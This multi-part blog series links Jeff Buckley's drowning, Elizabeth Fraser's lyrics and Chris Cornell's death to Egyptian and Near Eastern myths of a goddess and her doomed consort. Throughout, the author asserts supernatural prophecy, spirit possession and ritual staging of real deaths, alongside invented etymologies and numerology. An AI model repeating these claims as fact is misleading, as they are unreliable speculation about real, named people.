Ancient Egyptian culture was closely tied to the Nile River, and it appears their New Year corresponded with its annual flood. According the Roman writer Censorinus, the Egyptian New Year was predicted when Sirius—the brightest star in the night sky—first became visible after a 70-day absence. 
July 23rd is also identified with Our Sweetheart, the Drunk:
This massive party was tied to the myth of Sekhmet, a war goddess who had planned to kill all of humanity until the sun god Ra tricked her into drinking herself unconscious.  
Which turned her into the love goddess Hathor. And then there's this little detail here: 
In ancient Egypt, the helical rising of Sirius coincided with the annual rising of the Nile at Memphis.
Wait: did they say Memphis? I thought so.

Elizabeth Fraser last appeared at Royal Albert Hall with the Cocteau Twins, touring the Milk and Kisses album, which included a number of songs written about Jeff Buckley.




Blue Bell Knoll is a luscious album, the musical equivalent of having warm honey dripped on your head while you're taking a milk bath on really good drugs, but its title has a darker meaning:
In folklore, the flowers assist mortals in seeing fairies or seeing into their reality, but were regarded by some as unlucky because they could also reveal or even attract malign spirits, including the Devil himself... They are also called Dead Men's or Dead Man's Bells, because hearing the bells ringing is an omen of death.  
Remembering the line from Song to the Siren, "Did I dream you dreamed about me? Were you hare when I was fox?", note that bluebells are also known as harebells:
Campanula rotundifolia is associated with the fairies and with witches...The name Harebells may also allude to a folk belief that witches used juices squeezed from this flower to transform themselves into hares. 
And hey- milk again.
These juices lent the flower another Scottish folk name, "Milk-ort" (milk herb).
More importantly, the bluebell also connects to the central conceit of our story- the seemingly inexplicable symbolic overkill connected to the ancient myth of the goddess (variously associated with sex, war, music and the Moon) and her shepherd-boy consort.

Shepherd-boy being the literal translation of Buckley.


As it happens milk plays a very major role in that ur-myth as well. From the first known telling of the story, The Courtship of Inanna and Dumuzi:

  Make your milk sweet and thick, my bridegroom / My shepherd, I will drink your fresh milk / Wild bull Dumuzi, make your milk sweet and thick/ I will drink your fresh milk.
Elizabeth Fraser's dedication on Milk and Kisses plows the same metaphorical furrow.

 "Milk and kisses for the first man / my old man / love and a thousandfold rose for Buckley /my Rilkean-Hearted friend."
(We're going to return to The Courtship of Inanna and Dumuzi again, in a big, bad way).

The bluebell has also been named for Endymion, the young shepherd consort of the goddess Selene, who fell in love with and put under a spell of eternal sleep so that she alone might enjoy his beauty. Selene was also known as Phoebe and one of the key tracks on Blue Bell Knoll is "For Phoebe, Still a Baby."



So I suppose it's only appropriate that this is being held at Royal Albert Hall, named in honor of Prince Albert, formally known as Albert, Prince Consort. 

And here were have another goddess-consort sad story. 

Albert was husband of Queen Victoria, herself named after the Roman goddess of victory. And for those of you who don't know the rest:
Albert died at the relatively young age of 42, plunging the Queen into a period of deep mourning in which she rarely appeared before her subjects.
 CARNIVAL OF LIFE AND DEATH

We saw that that Jeff Buckley drowned on the evening of the Carnival Memphis. As it happens it seems that he and Fraser began their courtship on the eve of the original Carnival...


This would be the night of March 4th, when both Buckley and the Cocteau Twins were playing in Atlanta. Significantly, the Twins performed "Road, River, and Rail" that night.

Simon Raymonde of The Cocteau Twins remembers Jeff being introduced to them as Tim Buckley's son while they were touring America in 1991.

Road, River and Rail is 3:17
3/17 is the day of Osiris' drowning

OK, I thought I heard that Buckley met them before 1994 but I couldn't find any corroboration online for that so I thought I had imagined it. If that is indeed true it makes the prophecies on 1990's Heaven or Las Vegas even creepier because that was the album they were touring then (and the only significant omen after that is the insanely-disturbing post-breakup Rilkean Dreams). 

Continuing:
Having recorded an ineffably beautiful version of Tim's ‘Song For The Siren’ (as This Mortal Coil) they were pleased to meet the young man, who was in turn awestruck by their music, especially the spectral voice of Elizabeth Fraser. Three years later it was their turn to see him perform. Simon and Liz went together to a small bar in Atlanta. "It was just Jeff and his little Fender guitar and amp. He sang for two hours and he knocked me sideways. Liz and I spent some time with him over the next few days."
It's likely that Fraser connected (or reconnected) with Buckley on what is technically March 5th, since the Twins had their own concert to do the night of the 4th. But what is the significance of March 5th? 


It's sacred to Isis. Very sacred, in fact:
Ididis Navigium, or alternatively Navigium Isidis, means Vessel of Isis. The festival gets its name from the main offering to Isis. In Apuleius’ Metamorphosis he describes the grand procession of worshippers from the temple of Isis to the harbor. 
Harbor. And the connection to Carnival? 
Modern carnival resembles the festival of the Navigium Isidis, and some scholars argue that they share the same origin (via carrus navalis, meaning naval wagon, i.e. float – later becoming car-nival). 
Reminding us again the Carnival Memphis is centered around Ancient Egyptian symbolism:
The twelve Grand Krewes that Carnival Memphis recognizes are the Mystic Society of the Memphi, Osiris, Sphinx, RaMet, Ennead, Phoenix, Aani, Ptolemy, Kemet Jubilee, Ptah, Luxor, Queen Bee...The Grand Krewes of Memphi, Osiris, RaMet and Sphinx are "old-line" Grand Krewes and were all started in the 1930s as the original secret societies of the Memphis Cotton Carnival.
And let's remember this Carnival centers of the appointment of the new Queen Isis and King Osiris:
Our Queen Isis has always been known for her beauty and membership in a prominent family. She wears the Ring of Isis, engraved with her hieroglyphic symbol. 
The identity of King Osiris is revealed at the Banquet of Past Kings. He and all Past Osiris Kings wear the King’s Medallion on a scarlet and white ribbon at all Osiris and Carnival events.
And this: 
Many elements of Carnival were in turn appropriated in the Corpus Christi festival, most prominently in the Iberian Peninsula (Spain and Portugal). 
Jeff Buckley recorded "The Corpus Christi Carol" on his first album.

Then there's this: 

Thus Plutarch tells us that Osiris was murdered on the seventeenth of the month Athyr, and that the Egyptians accordingly observed mournful rites for four days from the seventeenth of Athyr. Now in the Alexandrian calendar, which Plutarch used, these four days corresponded to the thirteenth, fourteenth, fifteenth, and sixteenth of November, and this date answers exactly to the other indications given by Plutarch, who says that at the time of the festival the Nile was sinking, the north winds dying away, the nights lengthening, and the leaves falling from the trees.
Which would mean, according to this reckoning, that the "Lamentations of Isis and Nephthys" took place either on or right before November 17. Why is this significant?
Jeffrey Scott Buckley (November 17, 1966 – May 29, 1997), raised as Scott Moorhead, was an American singer-songwriter and guitarist. 

Next we'll take a closer look at the prophecies involved and why they might have gotten some unwanted attention.


TO BE CONTINUED


UPDATE: Darren reminds of that famous Beatles song that namedrops Albert Hall and also  tells us of another doomed young prince, Tara Browne, dead exactly a month after Jeff Buckley was born. More 17s:

On 17 December 1966, Browne was driving with his girlfriend, model Suki Potier, in his Lotus Elan through South Kensington at high speed (some reports suggesting in excess of 106 mph/170 km/h).[2] He was not under the influence of drugs or alcohol at the time. Browne failed to see a traffic light and proceeded through the junction of Redcliffe Square and Redcliffe Gardens, colliding with a parked lorry. He died of his injuries the following day. Potier claimed that Browne swerved the car to absorb the impact of the crash to save her life.


"A Day in the Life"
On 17 January 1967 John Lennon, a friend of Browne's, was composing music at his piano whilst idly reading London's Daily Mail and happened upon the news of the coroner's verdict into Browne's death. He worked the story into the song "A Day in the Life", which was later released on the album Sgt. Pepper's Lonely Hearts Club Band. 

John Lennon's "Good Morning Good Morning" was the first song you heard on the last episode of The Monkees. "Song of the Siren" was its swansong.

          Interlude: Swan Song, or In My Time of Dying   


A weird little coincidence struck me yesterday.

As we've seen, the last songs Jeff Buckley and Chris Cornell sang were songs most commonly associated with Led Zeppelin.
Cornell’s “sudden and unexpected” death right in the middle of Soundgarden’s U.S. tour that kicked off only last month is compounded only by the fact that his death was ruled a suicide, and while the 52-year-old musician outwardly showed no signs of depression or suicidal tendencies, the final song from last night’s sold out show at Detroit’s Fox Theatre: a cover of Led Zeppelin’s “In My Time of Dying”. 
And this: 
When Buckley entered the water from the trash-strewn bank, he was wearing jeans, a T-shirt and boots. He turned, grinning back at Foti, as he drifted in backward. When he was about knee deep, Foti remembers cautioning him: "You can't swim in that water." As Buckley continued, Foti repeated his caution: "What are you doing, man?" But Buckley smilingly reclined into the slate-gray water, singing the chorus of Led Zeppelin's "Whole Lotta Love" as he backstroked into the channel.
In 1974, Led Zeppelin started their own record label called Swan Song. 

The term swan song comes from an ancient belief that swans will sing a beautiful song just before they are about to die. 

Now we're treading into dangerous waters here, no pun intended. There's a temptation to cast too wide a net in search of symbolic connections, which, as they pile up, can tend to have a numbing effect. Plus, ancient mythology is so enormous that you could probably dig out a connection for whatever you like if you're not rigorous about it.

And there's still the open question as to why we would see so much symbolism and prophecy - practically to the point of overkill - attached to what most people might see as an historical footnote.  

So let's then establish that we're specifically looking here at the "swan songs," the very last performances by the people in question.




So with that in mind let's look at the very last line of the last verse of the last song on the last Cocteau Twins album- or if you prefer, their swan song. The song is "Seekers Who Are Lovers" and the line goes like this: 


"So send Lucifer into Hell."

The song is- you guessed it- yet another of Elizabeth Fraser's love letters to Jeff Buckley*, in this case a little note explicitly reminding him how amazing she thought the sex was.  Which is probably why nearly all of her performances of the song were extremely passionate, in her very strange way.

Then there's this :
Love, on the tip of it/ The old river's lack of other sweet sex†/ So sweet/You are a woman just as you are a man
The last line there corresponds to Buckley's self-identification of a "chanteuse with a penis," a reference to his interpretations of torch songs by singers like Billie Holiday and Edith Piaf. Which, of course, it's also entirely compatible with his role as a postmodern incarnation of Attis. 

And then there's that "river" reference again.

This in turn then corresponds to the more recent death of one of Buckley's closest friends (and posthumous spoeksman) just a few minutes away from Belle Isle on the Detroit River, which is itself closely associated with a Native American variant of the Siren myth.

Note also the connection of these fertility gods we've been looking at to rivers:
Adonis sprang from a tree; the body of Osiris was concealed in a tree which grew round the sea-drifted chest in which he was concealed. Diarmid concealed himself in a tree when pursued by Finn. The blood of Tammuz, Osiris, and Adonis reddened the swollen rivers which fertilized the soil.
But there's another connection between these ancient fertility gods and Lucifer; all of them were sent into the Underworld.  

And the way to the Underworld was traditionally the River Styx.

CHILDREN OF THE CORN(ELL)

Bearing in mind that Buckley died on the eve of an explicit Osiris ritual in Memphis, remember that the consort of Osris (who drowned in the Nile River) is Isis, whom "The Greeks conceived of (her) as a corn-goddess, for they identified her with Demeter. In a Greek epigram she is described as 'she who has given birth to the fruits of the earth,” and “the mother of the ears of corn.'” 

Similarly, Attis was identified closely with corn:
  Like tree-spirits in general, Attis was apparently thought to wield power over the fruits of the earth or even to be identical with the corn. One of his epithets was “very fruitful”: he was addressed as the “reaped green (or yellow) ear of corn”; and the story of his sufferings, death, and resurrection was interpreted as the ripe grain wounded by the reaper, buried in the granary, and coming to life again when it is sown in the ground
Corn-- and subsequently Cornell-- both derive from the Latin cornu, meaning "horn."

The closest Egyptian analog to goddesses like Isthar and Aphrodite is actually Hathor, whom Isis would eventually syncretize with, and who was commonly depicted as wearing horns. She has an interesting origin story: 
In the Story of Re, she was created by her father Re as "Sekhmet" as a destroyer of men, who were disobedient to him. Later Re changed his mind, but even he could not stop her from killing men. He then disguised beer as blood and when Sekhmet became drunk, she could no longer kill and was known thereafter as Hathor, a goddess of love.
Jeff Buckley's eventual swan song- which Chris Cornell was closely involved in producing- was the collection Sketches for My Sweetheart the Drunk.  It included the song "Morning Theft", commonly assumed to be a documentation of Buckley's reunion with Fraser sometime around the recording of 'All Flowers in Time Bend Toward the Sun'.


LUCIFER FALLING



There's been an ongoing controversy over the Swan Song label, which depicts an angel or winged man in the throes of death. One side of the debate claims it's a depiction of Icarus and others claim it's actually paying homage to Lucifer, and that the image is a depiction of his fall from Heaven. 

The painting is in fact an adaptation of a sketch by 19th century painter William Rimmer entitied "Evening, the Fall of Day." Some have argued that the image is a depiction of Apollo, but we don't see the chariot here which was associated with him when he absorbed the aspects of the Titan Helios.



So I think the Lucifer interpretation is probably closest to the mark. "The Fall of Day" is most probably a reference to Phosphoros the daystar, whose name is the Greek equivalent of Lucifer. Note that Jimmy Page had recently recorded the Lucifer Rising and later used a similar image for the release of the soundtrack.

Plus, Jimmy Page. 

What we also need to remember here is that Led Zeppelin's first use of the Swan Song logo was on the first side of the first disk of Physical Graffiti. And the last song on that side is Chris Cornell's swan song,  'In My Time of Dying'. 

The album also has a strong link to Jeff Buckley:
"When I was 12, I decided to become a musician," Buckley says. "Physical Graffiti was the first album I ever owned. My stepfather [who lived with Buckley's mother from 1971 to 1973] bought that for me."

But wait! There's more: Swans were closely associated with the love goddeses of the ancient world, particularly Aphrodite. 

As we saw, Elizabeth Fraser- in what seems to be her only foray into cosplay ever-  explicitly portrayed herself as a rising Aphrodite (0r Atargatis) in the video for 'Bluebeard'.

That single was released in February 1994. Fraser and Buckley met in March. At the time Fraser was in the midst of an ongoing personal crisis and seemed to experience a meltdown when the band performed 'Bluebeard' on The Tonight Show, going into full-WTF alien mode.

That meltdown was taped the same day Chris Cornell's friend Kurt Cobain died, which was called a suicide at the time.

And just to throw out another creepy death omen, Jeff Buckley would have a fling with Cobain's widow shortly before he died.

ALL FLOWERS

Lucifer also links us to another prophecy we recently looked at- Fraser's retelling of the myth of Narcissus and Echo, "Mud and Dark" (again, Jeff Buckley was swimming near Mud Island in the dark when he drowned). From The Aeon Eye blog:
Like Icarus, the archangel Lucifer is said to have fallen because of his pride and vanity over his own beauty and power, much like the myth of Narcissus. This supreme spirit of evil who was once radiant, but who because of his sin of pride fell from heaven into darkness and became Satan, saying: “Non serviam: I will not serve,” and thus brought upon himself the everlasting wrath of God.  
There's also a strain of the Narcissus daffodil called "Lucifer." 

And there's a Daffodil Hill in Memphis.

The mind reels.



TO BE CONTINUED



NOTE: It's also important to remember that Icarus- whose sin was disobedience- actually died by drowning.

The lyric "His poor essence" may in fact be "His Pur Essence," a reference to the fact the Fraser may have realized that she seemed to call Buckley by his given name - Scott Moorhead- in "Summerhead" (read:"S.Moorhead") in between the songs "Essence" and "Pur" on Four Calendar Cafe. 

That album was recorded while Buckley was still doing club gigs in tiny dive bars in Manhattan. They wouldn't begin their relationship for at least another year.

† Erroneously listed as "sweet scents" on some lyric sites.


          Deeper Than You Could Ever Know, or The Eternal Psychodrama   



The rabbit keeps digging. And digging. How far are you ready to go down?

I first began to follow this story when I heard about the drowning death of Jeff Buckley. I'm not sure why but the first thought that came into my head was that it had something to do with Elizabeth Fraser. 

I had no idea that all of this had been prophesied for years and years before, in ways that actually give me chills.

I had no idea that this was all closely following a very ancient script, for reasons I can't begin to wrap my head around. The symbolism is almost shockingly unambiguous, as we'll soon see.

I had no idea that a tragedy involving Chris Cornell, Jeff Buckley's close friend and posthumous spokesman, would take place on the banks of another river almost exactly 20 years later, a tragedy that seemed to follow a remarkably similar mythic script. And a tragedy that would seize the attention of millions all around the world.


And I most certainly had no idea twenty years ago that at the very same time police divers were scouring the muddy waters of the Wolf River Lagoon for Jeff Buckley's corpse a well-publicized reenactment of a mystery religion based on the drowning death of a revered ancient Egyptian god was being undertaken by an elite "secret society" just a few blocks away.

Yeah. That happened.

I'm still having trouble wrapping my head around that one too.

WHY AND WHAT FOR?

A reader asked a highly pertinent and perceptive question in the comments section of the previous post. It cuts to the heart of this extraordinarily unlikely mystery we're trying to crack here.
The thing that I keep asking is "why?" Why would spirits reenact this little passion play at all? Why with this small handful of singers and songwriters? It seems like a lot of effort, a lot of autistic attention to trivial details few would even notice - so where's the actual payoff for the Good Folk's effort? The only thing I can think up is that all the world's a play to them, but the dramatis personnae onstage never see more than a few glimpses of their lines before it's time for them to be spoken.
Why indeed? We're not talking about show biz superstars here, we're not talking about Benifer or Brangelina,  we're talking about two cult performers who never broke into the mainstream. 

We're talking about two very vulnerable souls whose supernatural gifts were balanced out by their struggles with their troubled upbringings and mental illness. But at the same time we're talking about two performers who could count the highest echelon of the music biz elite in their circle of apostles.

And we're talking about a love story whose tragic end was prophesied in a song that has garnered a staggering 48 million views on YouTube. Those people may not realize it but they've soaked all this in.

Which only makes sense because what we're actually seeing is a ritualistic reenactment of one of history's oldest love stories.


It's becoming increasingly well-known on the Internet that this song is about Jeff Buckley, though I think most people tend to underestimate how deep Fraser's obsession with the man really was. I don't think she ever got over it.

Buckley idolized Fraser, studied her, imitated her (the first time I heard Jeff Buckley- knowing nothing about him- I said to myself, "this guy sure sounds like he listens to a lot of Cocteau Twins records"). But when they met Fraser was in the middle of a serious- and painfully public- mental health crisis that would find her hospitalized twice within a year. 

Buckley brought color and excitement back into her life but he had far too many groupies chasing him to stay with an older woman who brought a lot of emotional baggage in tow. Plus, his star was rising and her band was in the process of winding down their long run.

The Wikipedia entry recites the almost-unimaginably eerie fact that Fraser was recording this song while the man about whom she was singing was dying on the other side of the world, but omits the fact that they were lovers:
Fraser wrote the song's lyrics. While recording the song on 29 May 1997, she found out that her once-close friend, Jeff Buckley, had drowned. "That was so weird ... I'd got letters out and I was thinking about him. That song's kind of about him – that's how it feels to me anyway." 
And what most people tend to overlook is that not only is she singing about Buckley- yet again- she is also unconsciously prophesying his death. Yet again:

Night, night of matter (?)
Black flowers blossom
Fearless on my breath
Black flowers blossom
Fearless on my breath
Teardrop on the fire
Fearless on my breath

I have a problem with this interpretation of the lyrics. As far as I can tell what Fraser is actually singing is "Night, night of murder" not "matter." Which makes a lot more sense when followed by "black flowers blossom." 

Why?

Because black flowers have traditionally been associated with death and mourning:
The color black has always been synonymous with death and mourning. It is thus the color of sadness and farewell. So, many people consider black roses to symbolize bereavement, loss and mortality. They are often used at funerals. 
And then there's this couplet, which connects us to a constellation of ancient goddesses whose dramas all center on lost loves ( and one of whose incarnations is known as "the first mermaid").


Water is my eye
Most faithful mirror

OVER AND OVER AND OVER AGAIN


Some of Fraser's most extraordinary vocal performances come when she is channeling the dramas of ancient mythologies. This of course includes the Siren but also Lorelei, Echo, Pandora (not just once but twice), Persephone and Coatlicue.

She was, after all, "the Voice of God."

But there's one particular story that she seemed to embody and that's the story of the goddess who fell in love with the young shepherd boy. It seemed to start in an oblique and incidental way:
The Cocteaux released Moon and the Melodies in late 1986, which featured 'Sea, Swallow Me' and 'She Will Destroy You', among others. Then they released Blue Bell Knoll, which again is a reference to an old folk belief about a death omen. The bluebell is also known as Endymion non-scriptus. 
Endymion is yet another doomed mortal whom a goddess fell in love with: 
 Wandering farther afield from the British Isles, the bluebell is associated with the shepherd boy Endymion.  The moon goddess, variously called Seline or Diana, fell in love with him and cast an eternal sleep on him so that she could enjoy his beauty alone, forever.
One of the key cuts on Blue Bell Knoll is 'For Phoebe Still a Baby'. Phoebe is another name for Selene.  
This story goes back to the very cradle of civilization:
In Babylonia, the month Tammuz was established in honor of the eponymous god Tammuz, who originated as a Sumerian shepherd-god, Dumuzid or Dumuzi, the consort of Inanna and, in his Akkadian form, the parallel consort of Ishtar.
Inanna and Dumuzi also seem to be the stars of one of the earliest known tellings of the Descent into the Underworld, where Inanna traveled to retrieve the soul of her lost shepherd-boy consort. This story would be told over and over again.

This story was retold in Phrygia as the myth of Cybele and Attis (note see Tracy Twyman's dissertation of this myth at her blog):
Cybele loved the beautiful shepherd, and made him her own priest on condition that he should preserve his chastity inviolate. Atys broke the covenant with a nymph, the daughter of the river-god Sangarius, and was thrown by the goddess into a state of madness, in which he unmanned himself. 
This story was told in the pages of Sir James Frazer's Golden Bough, a book Elizabeth Fraser certainly seemed to have read. A variant on the story has the hermaphroditic Agdistis in place of Cybele. Strangely enough this version also correlates to the Fraser-Buckley drama, given the Cocteau Twins' singer's own innate androgyny. As the singer explained in 1995:
"I was very worried about being unattractive because I think I look quite masculine. Sometimes I feel more masculine than feminine and I don't like it. I mean, you've got a person who is in recovery from incest surrounded by men. I've never had a highly developed sense of being female."
Fraser would refer obliquely to Cybele in one of her many songs focused around moths and butterflies, 'Great Spangled Fritilary', a butterfly whose scientific name is S Cybele.

The Greeks retold the love-goddess and shepherd-boy story as that of Aphrodite and the shepherd-boy Adonis:
(Both) Aphrodite and Persephone, goddess of fertility and death, love Adonis, a beautiful young man. Adonis is killed by a wild boar while he is on the hunt: Aphrodite begs Zeus to restore him to life, but Persephone also demands that he be brought back to life for her sake. Zeus settles the dispute by resurrecting Adonis, but commands him to live six months in the upper world with Aphrodite and six months in the lower world with Persephone.

And sure enough, just before she would meet Jeff Buckley, Elizabeth Fraser would be depicted rising from a scallop shell like Aphrodite in the music video for 'Bluebeard'. 

The Syrian version of this archetype, widely believed to be the original incarnation of Aphrodite herself, who takes us right back to the world of sirens and mermaids. The very first mermaid, or so the story goes:
Atargatis was in love with a human shepherd but accidentally killed him.  Out of guilt, the goddess flung herself into the ocean hoping to become a fish.  But her beauty was so great, that she never could fully become a fish.  Instead she became half goddess, half fish, with a tail below the waist and human body above the waist.   

BEFORE WE GO ANY FURTHER...

...let's play the Name Game. You see this little mythology primer here isn't just for the giggles and grins, it cuts right to the core of the very strange daisy-chain of synchronicity we are trying to untangle.

Because Jeff Buckley's very surname means "shepherd boy."
Ó Buachalla, taken from the Irish word 'buachaill' originally meaning 'herdsman' (in modern Irish it has come to mean 'boy'), was anglcised early as Ó Boughelly, Boughla, Buhilly and later as Buckley. 
So you see I'm not exaggerating when I claim that what we're seeing here is a very ancient psychodrama that chose to play itself out in real time. I mean it literally. Do you understand me now?

And what about Liz Fraser? Well, given the Egyptian origin of the Biblical name (the first Elizabeth was connected to Moses and Aaron, both of which are native Egyptian names) I will go to my grave believing that in fact it comes from Eloah-Esi-Beth, or "Temple of the Goddess Isis." We'll get to Isis shortly.

But first the Fraser name, which ties into Knights Templar history, of all things:
The Frasers are believed to have come from Anjou in France. The name Fraser may be derived from Fredarius, Fresel or Freseau. Another suggestion is that the Frasers were a tribe in Roman Gaul, whose badge was a strawberry plant (fraisier in French). 
Might come from "fraisier." Gee, you think? 

But what's the significance of strawberries in this tale here? Well, it ties right back into the lineage of the same goddesses we're looking at. In this case the Syro-Roman variant:
The strawberry was a symbol for Venus, the Goddess of Love, because of its heart shapes and red color.
In a connection that will take on greater significance when we get to the next chapter of this drama, it so happens that Venus had a very Roswell kind of origin story:
In another story, told by Hyginus, an egg fell from the sky into the Euphrates, was rolled onto land by fish, doves settled on it and hatched it, and Venus, known as the Syrian goddess, came forth
Yeah, we're going there. But don't worry- it's baked right into the cake.


Yeah, those eyes. I know.

But of course the big kahuna of love-goddess and doomed shepherd myths is that of Isis and Osiris. In the best-known telling of the tale, Osiris' first death comes when he is drowned in the Nile inside his sarcophagus:
In some cases the texts suggest that Set takes the form of a wild animal, such as a crocodile or bull, to slay Osiris; in others they imply that Osiris's corpse is thrown in the water or that he is drowned. This latter tradition is the origin of the Egyptian belief that people who had drowned in the Nile were sacred.
And just to establish his shepherd cred:
 He also carries the crook and flail. The crook is thought to represent Osiris as a shepherd god. The symbolism of the flail is more uncertain with shepherds whip, fly-whisk, or association with the god Andjety of the ninth nome of Lower Egypt proposed.[12]
And as the fathomless enigmas of fate would have it, one of the foundation texts for the Isis-Osiris myth takes us back to- you guessed it- Memphis:
Another important source is the Memphite Theology, a religious narrative that includes an account of Osiris's death as well as the resolution of the dispute between Horus and Set. This narrative associates the kingship that Osiris and Horus represent with Ptah, the creator deity of Memphis. 
Quoting directly from the Memphite Theology, we have this:
Isis and Nepthys without delay, for Osiris had drowned in his water. Isis [and Nephthys] looked out, [beheld him and attended to him].  
OK, we have a river, a drowning and a Memphis. Can I shoehorn a wolf into this little catty-corner?

Oh, yes I can:
In the beginning, Osiris was associated mostly with agriculture. This cult spread rapidly into Upper Egypt, and soon Osiris became identified with the funeral god, Abydos, Khenti-Amentiu, who was symbolized by the wolf.  
But then we get thrown right down the crazy-stairs...

Oh, the eyes. Interesting.

While police divers were still dragging the Wolf River Harbor for Jeff Buckley's body, just a few blocks east the Grand Krewe of Osiris was enjoying the Carnival Memphis, kicking off at the Crosstown Concourse:
The Carnival Memphis Association organizes, plans, budgets, and promotes the King, Queen, and Royal Court, as well as many of the events staged during Carnival week. However, the Grand Krewes (once known as secret societies) also stage their own festivities throughout the year, elect their own royalty, manage their own budget, and have their own membership requirements.  
Most of these organizations bear Egyptian names in accordance to tradition originally set out by the Mystic Memphi, and in conjunction with Memphis being the sister city of ancient Memphis, Egypt. The twelve Grand Krewes that Carnival Memphis recognizes are the Mystic Society of the Memphi, Osiris, Sphinx, RaMet, Ennead, Phoenix, Aani, Ptolemy, Kemet Jubilee, Ptah, Luxor, Queen Bees.  
The Carnival kicks off the first weekend following Memorial Day. 

But what exactly is the Grand Krewe of Osiris? Well, besides the hosts of osirismemphis.com, that is?
Osiris was founded in 1934 as a Mystic Secret Society. Osiris membership has always consisted of top professional and business leaders. 
The Great Eye, the hieroglyphic symbol of Osiris for thousands of years, continues looking intently forward to the future of great city of Memphis, on the American Nile.
The Great Eye? You mean the one glowing in the middle of that giant pyramid you got there? The one on the shore of the Wolf River Lagoon? OK. Thanks.

Good, clean Masonic fun

And what exactly do their ceremonies entail?
The ceremonies were mysterious and symbolic, but the most common feature was the procession of Queen Isis in her carriage, far beyond the precincts of her temple on occasions to other towns. 
These occasions were passed amid great rejoicing, music, dancing, and feasting which formed important parts of the festival rites. 
The feast was held within lofty walls, with an entrance between immense pylons inscribed with hieroglyphs. 
Those called to join celebrated the regeneration of the land, the renewal of friendships, and the hopes for a productive and joyful year!

Is it just me or does this sound like something straight out of Summerisle? And how exactly do these ceremonies climax?
Our Queen Isis has always been known for her beauty and membership in a prominent family. She wears the Ring of Isis, engraved with her hieroglyphic symbol. 
The identity of King Osiris is revealed at the Banquet of Past Kings. He and all Past Osiris Kings wear the King’s Medallion on a scarlet and white ribbon at all Osiris and Carnival events.
OK, now I'm sure this is all fun and harmless and zany (totally Masonic) fun for the Memphite upper crust. But that doesn't matter in the context of ritual, especially the kind of ritual that goes beyond ritual. 

Because all this was going on while Jeff Buckley's body was floating a few blocks away in the Wolf River in the same exact way Osiris' body floated in the Nile.


You know Osiris-- the star-sailor. 



I said the Starsailor.

But again, the point is that happened. That actually happened. A bunch of drunk lawyers, doctors and their wives were playacting the mysteries of Isis and Osiris while an aspiring rock superstar was actually playing the part of Osiris in a ritual who I can't begin to imagine who -or more accurately, what -- was staging.

I mean, I never heard of this Carnival until a few hours ago. Have you?


What are the odds Elizabeth Fraser knew about any of this while she was writing songs that prophesy how a man she wouldn't meet for another 12 years would die? 

Somewhere between slim, zip and fuckall I'd wager.

But stay tuned because this story is about to take a very dark and sinister turn, taking us into the world of elite UFO cultists, the Tower of Babel, demons of the air, World War Three, and a prophecy of the most momentous event of our times.

I wish I were kidding.



TO BE CONTINUED















          "I Always Felt There was a Prophecy of Death in That Song."   


PART ONE | PART TWO | PART THREE | PART FOUR

NOTE: Updated 6/12

Led Zeppelin. John Lennon. Prince. George Michael. The Monkees. Lord Byron. Sinead O'Connor. Chris Cornell. What do all these people have in common? They're all connected in one way or another to an unfolding drama orbiting a seminal song written by a doomed folk singer and debuted to the world wrapped in a salad of black magic, alien technology and mind control. 

And from then on, things got really weird.

I really didn't mean to get sucked back into all of this. I meant to do an overview post to observe the 20th anniversary and be done with it all. But then Chris Cornell died and the same archetypes rose again. Which means this story is still telling itself. That kicked in the OCD and got me looking again for prophecies.

And boy howdy, I found some real brain-blowers. 

"NOW WE ARE ANGELS"

Now I know a lot of you out there don't care about the Cocteau Twins or Jeff Buckley's music. And for a lot of you this might all be old news. I get that, it's totally fine by me. But the music isn't really the point of all this. 

The point is the story, this ancient archetypal myth playing out in real time, for whatever possible reason it may have other than the spirit world seems to have a dark sense of irony. And it may have well taken more trophies.

So, esoterically speaking, this is the equivalent of a Darwinist being able to watch a dog evolving into a turtle. 

You see, what we have here is a drama that seems to weave in elements of the occult, witchcraft, precognition, prophecy, synchronicity, and maybe even some spirit possession. 

We have the story of a strange young woman from a dysfunctional working class family who grew up in a place saturated with the power of the old stories. A woman who seems to have dabbled in witchcraft before undergoing a startling transformation in which she suddenly came into possession of an electrifying musical gift that led one British newspaper to declare she had "the Voice of God."

In an entirely matter of fact, self-effacing manner she would claim that in fact she was possessed by or channeling some kind of entity, something I don't find very hard to believe at all. 

I mean, think about it; what sounds more like genuine entity possession to you, this or this

This or this?



TESTING THE SIRENS

Of course, the first test of the spirits comes through prophecy.

And from the very first moment Elizabeth Fraser came into the public eye she seemed to prophesy a terrible event that revolved around an old 60s folk song that seems to have taken on a life of its own in the years since it first debuted. 

And if you take all the apparent prophecies-- prophecies that fly around this story like wasps at your birthday barbecue--together, you come up with the name, place, time and manner that this story would reach its inevitable climax. 

And it all seemed to unfold over a span of four decades.

Mind you, all of this is something we can objectively document. Interpret the facts any way you like but the beauty of it is that you don't need to rely on hearsay or anecdote here. We're looking at accepted and recorded events of history not testimony or speculation.

But there's also that song, which itself seems to be some kind of supernatural totem.


ENTER THE SIREN


In true Secret Sun style, the 'Song to the Siren' made its worldwide debut in a very strange and unlikely venue. It was first heard on the final episode of The Monkees TV show in 1968. 

And as readers would probably expect by now, the episode dealt with aliens, mind control and black magic. Plus, Sgt. Pepper's Lonely Hearts Club Band:
The episode begins with a sunrise scene as the boys awaken to the sounds of the Beatles’ “Good Morning Good Morning,” which was the first time the Beatles had allowed their music to be used in a non-Beatles arena. 
The episode is, in short, about the evil Wizard Glick (played by Rip Taylor) who is on a mission to control people’s minds via their television sets. The airwaves beam out a hypnotic eye that is, well, hypnotizing its viewers, a not-so-subtle comment on the brain deadening effects of television. 
Evil wizards using alien technology to take over the world? Why does that sound so familiar?
Eventually, the boys discover that a creature called the Frodis plant had been captured when its spaceship landed on Earth, and was being used for evil by Wizard Glick. They realize they must rescue the Frodis and return it to its spaceship. Upon rescue, the plant emits this cloud of smoke, and in the process, seems to mellow out Glick and his cohorts, “I’ll let you work out that reference, folks,” adds Dolenz. The anti-war song “Zor and Zam” is featured during the “typical Monkees romp.”
As the story part of the episode ends, on walks the late singer-songwriter Tim Buckley to perform a solo acoustic version of his classic “Song to the Siren.” Buckley was a friend of Dolenz, who thought he should be introduced to the world. 
The beautiful song had, at the time, not been released.  
Note John Lennon wrote 'Good Morning Good Morning'. 

The episode is also known as "Mijacogeo," a (sub)title which wouldn't sound out of place on a Cocteau Twins record. In fact, there's even a scene where the Monkees begin chanting  in a style not unfamiliar to Cocteaux fans.

I mentioned this episode several years ago but hadn't seen it until recently. And my god, is it terrible. But as it happens, it also had an alternate title; 'The Frodis Caper.' I hadn't known that until just this past week. What's the significance of that title?

Here, let me write it like this: FRodiScapER
No luck? Try this: FRodiScapER

How's that?

